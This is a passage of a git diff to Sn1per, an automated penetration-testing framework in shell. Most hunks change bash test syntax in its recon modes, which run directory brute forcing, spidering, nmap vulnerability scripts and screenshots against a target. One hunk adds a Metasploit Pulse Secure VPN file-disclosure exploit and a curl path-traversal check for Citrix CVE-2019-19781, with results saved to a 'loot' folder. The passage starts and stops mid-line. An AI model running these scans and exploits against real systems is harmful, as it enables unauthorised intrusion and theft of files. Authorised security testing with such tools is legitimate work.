"s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null rm -f $LOOT_DIR/web/wig-$TARGET-https 2> /dev/null fi - if [ "$WEBTECH" = "1" ]; then + if [[ "$WEBTECH" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" webtech -u https://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https.txt fi - if [ "$PASSIVE_SPIDER" = "1" ]; then + if [[ "$PASSIVE_SPIDER" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then - echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null$RESET" + if [[ "$VERBOSE" == "1" ]]; then + echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null$RESET" fi - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null fi - if [ "$WAYBACKMACHINE" == "1" ]; then + if [[ "$WAYBACKMACHINE" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null$RESET" fi curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null fi - if [ "$HACKERTARGET" == "1" ]; then + if [[ "$HACKERTARGET" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null + curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null echo " " fi - if [ "$BLACKWIDOW" == "1" ]; then + if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN blackwidow -u https://$TARGET:443 -l 3$RESET" fi touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null @@ -395,18 +395,18 @@ if [ "$MODE" = "stealth" ]; then sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt" fi fi - if [ $WEB_BRUTE_STEALTHSCAN == "1" ]; then + if [[ $WEB_BRUTE_STEALTHSCAN == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET" fi - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt @@ -415,25 +415,25 @@ if [ "$MODE" = "stealth" ]; then sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt" fi fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET -w $WEB_BRUTE_STEALTH -e | tee $LOOT_DIR/web/webbrute-$TARGET-https-stealth.txt sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null fi - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null$RESET" fi wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null egrep -v '<|>|;|(|)' $LOOT_DIR/web/robots-$TARGET-https.txt | tee $LOOT_DIR/web/robots-$TARGET-https.txt fi - if [ "$SSL" = "1" ]; then + if [[ "$SSL" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null$RESET" fi sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null @@ -443,17 +443,17 @@ if [ "$MODE" = "stealth" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ $CUTYCAPT = "1" ]; then - if [ $DISTRO == "blackarch" ]; then + if [[ $CUTYCAPT = "1" ]]; then + if [[ $DISTRO == "blackarch" ]]; then /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null else - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null$RESET" fi cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null fi fi - if [ $WEBSCREENSHOT = "1" ]; then + if [[ $WEBSCREENSHOT = "1" ]]; then cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443 fi @@ -481,10 +481,10 @@ if [ "$MODE" = "stealth" ]; then mv $LOOT_DIR/scans/running-$TARGET-stealth.txt $LOOT_DIR/scans/finished-$TARGET-stealth.txt 2> /dev/null rm -f $INSTALL_DIR/.fuse_* 2> /dev/null sort -u $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/modes/vulnscan.sh b/modes/vulnscan.sh index 60cc31a..447363d 100644 --- a/modes/vulnscan.sh +++ b/modes/vulnscan.sh @@ -1,10 +1,10 @@ # FULLPORTONLY MODE -if [ "$MODE" = "vulnscan" ]; then +if [[ "$MODE" = "vulnscan" ]]; then - if [ "$REPORT" = "1" ]; then + if [[ "$REPORT" = "1" ]]; then args="-t $TARGET" - if [ ! -z "$WORKSPACE" ]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -28,13 +28,13 @@ if [ "$MODE" = "vulnscan" ]; then logo - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi echo "$TARGET" >> $LOOT_DIR/domains/targets.txt - if [ "$OPENVAS" = "1" ]; then + if [[ "$OPENVAS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING OPENVAS VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -48,7 +48,7 @@ if [ "$MODE" = "vulnscan" ]; then resp=$(omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TARGET | awk '{print $2}') sleep 60 done - if [ $REPORT_ID != "" ]; then + if [[ $REPORT_ID != "" ]]; then omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "" | cut -d\> -f3 | cut -d\< -f1 | base64 -d > "$LOOT_DIR/output/openvas-$TARGET.html" echo "Report saved to $LOOT_DIR/output/openvas-$TARGET.html" @@ -62,11 +62,11 @@ if [ "$MODE" = "vulnscan" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt mv $LOOT_DIR/scans/running-$TARGET-vulnscan.txt $LOOT_DIR/scans/finished-$TARGET-vulnscan.txt 2> /dev/null - if [ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt" /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt" fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi loot diff --git a/modes/web.sh b/modes/web.sh index 57efcf5..1e251de 100644 --- a/modes/web.sh +++ b/modes/web.sh @@ -1,7 +1,7 @@ # WEB MODE ############################################################################################################# -if [ "$MODE" = "web" ]; then - if [ "$REPORT" = "1" ]; then - if [ ! -z "$WORKSPACE" ]; then +if [[ "$MODE" = "web" ]]; then + if [[ "$REPORT" = "1" ]]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" diff --git a/modes/web_autopwn.sh b/modes/web_autopwn.sh index 2e9ea93..7a53b6a 100644 --- a/modes/web_autopwn.sh +++ b/modes/web_autopwn.sh @@ -1,4 +1,4 @@ - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per webpwn scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -211,7 +211,17 @@ msfconsole -q -x "use auxiliary/scanner/misc/java_rmi_server; setg RHOSTS \"$TARGET\"; set RPORT \"$PORT\"; run; back; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.txt 2> /dev/null rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-java_rmi_server.raw 2> /dev/null - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING PULSE SECURE VPN ARBITRARY FILE DISCLOSURE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use gather/pulse_secure_file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-pulse_secure_file_disclosure.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING CITRIX GATEWAY ARBITRARY CODE EXECUTION VULNERABILITY CVE-2019-19781 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + curl -vk --path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep "You don’t have permission to access /vpns/" >/dev/null && echo "VULNERABLE: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt || echo "MITIGATED: $TARGET" | tee $LOOT_DIR/output/cve-2019-19781-$TARGET-port$PORT.txt + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per webpwn scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi \ No newline at end of file diff --git a/modes/webporthttp.sh b/modes/webporthttp.sh index c523690..92f3976 100644 --- a/modes/webporthttp.sh +++ b/modes/webporthttp.sh @@ -1,7 +1,7 @@ # WEBPORTHTTP MODE ##################################################################################################### -if [ "$MODE" = "webporthttp" ]; then - if [ "$REPORT" = "1" ]; then - if [ ! -z "$WORKSPACE" ]; then +if [[ "$MODE" = "webporthttp" ]]; then + if [[ "$REPORT" = "1" ]]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -17,7 +17,7 @@ if [ "$MODE" = "webporthttp" ]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-webporthttp.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -71,9 +71,9 @@ if [ "$MODE" = "webporthttp" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -sV -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-http-$TARGET.xml + nmap -sV -Pn --data-length=50 -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-http-$TARGET.xml port_http=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-http-$TARGET.xml | grep open` - if [ -z "$port_http" ]; then + if [[ -z "$port_http" ]]; then echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET" @@ -97,14 +97,14 @@ if [ "$MODE" = "webporthttp" ]; then echo -e "$OKRED DISPLAYING SITE LINKS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET-$PORT.txt 2> /dev/null - if [ "$WAFWOOF" == "1" ]; then + if [[ "$WAFWOOF" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR WAF $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" wafw00f http://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-http-port$PORT.txt 2> /dev/null echo "" fi - if [ "$WHATWEB" == "1" ]; then + if [[ "$WHATWEB" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING HTTP INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -113,7 +113,7 @@ if [ "$MODE" = "webporthttp" ]; then rm -f $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw 2> /dev/null echo "" fi - if [ "$WIG" == "1" ]; then + if [[ "$WIG" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SERVER INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -121,7 +121,7 @@ if [ "$MODE" = "webporthttp" ]; then sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http-$PORT > $LOOT_DIR/web/wig-$TARGET-http-$PORT.txt 2> /dev/null rm -f $LOOT_DIR/web/wig-$TARGET-http-$PORT 2> /dev/null fi - if [ "$WEBTECH" = "1" ]; then + if [[ "$WEBTECH" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -130,54 +130,54 @@ if [ "$MODE" = "webporthttp" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ $CUTYCAPT = "1" ]; then - if [ $DISTRO == "blackarch" ]; then + if [[ $CUTYCAPT = "1" ]]; then + if [[ $DISTRO == "blackarch" ]]; then /bin/CutyCapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null else cutycapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null fi fi - if [ $WEBSCREENSHOT = "1" ]; then + if [[ $WEBSCREENSHOT = "1" ]]; then cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:$PORT fi - if [ "$BURP_SCAN" == "1" ]; then + if [[ "$BURP_SCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}\"$RESET" fi curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}" echo "" fi - if [ "$NMAP_SCRIPTS" == "1" ]; then + if [[ "$NMAP_SCRIPTS" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners --script=http-vuln* $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT + nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse,/usr/share/nmap/scripts/vulners --script=http-vuln* $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT sed -r "s/ /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null fi - if [ "$PASSIVE_SPIDER" == "1" ]; then + if [[ "$PASSIVE_SPIDER" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null fi - if [ "$WAYBACKMACHINE" == "1" ]; then + if [[ "$WAYBACKMACHINE" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null fi - if [ "$HACKERTARGET" == "1" ]; then + if [[ "$HACKERTARGET" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET" echo -e 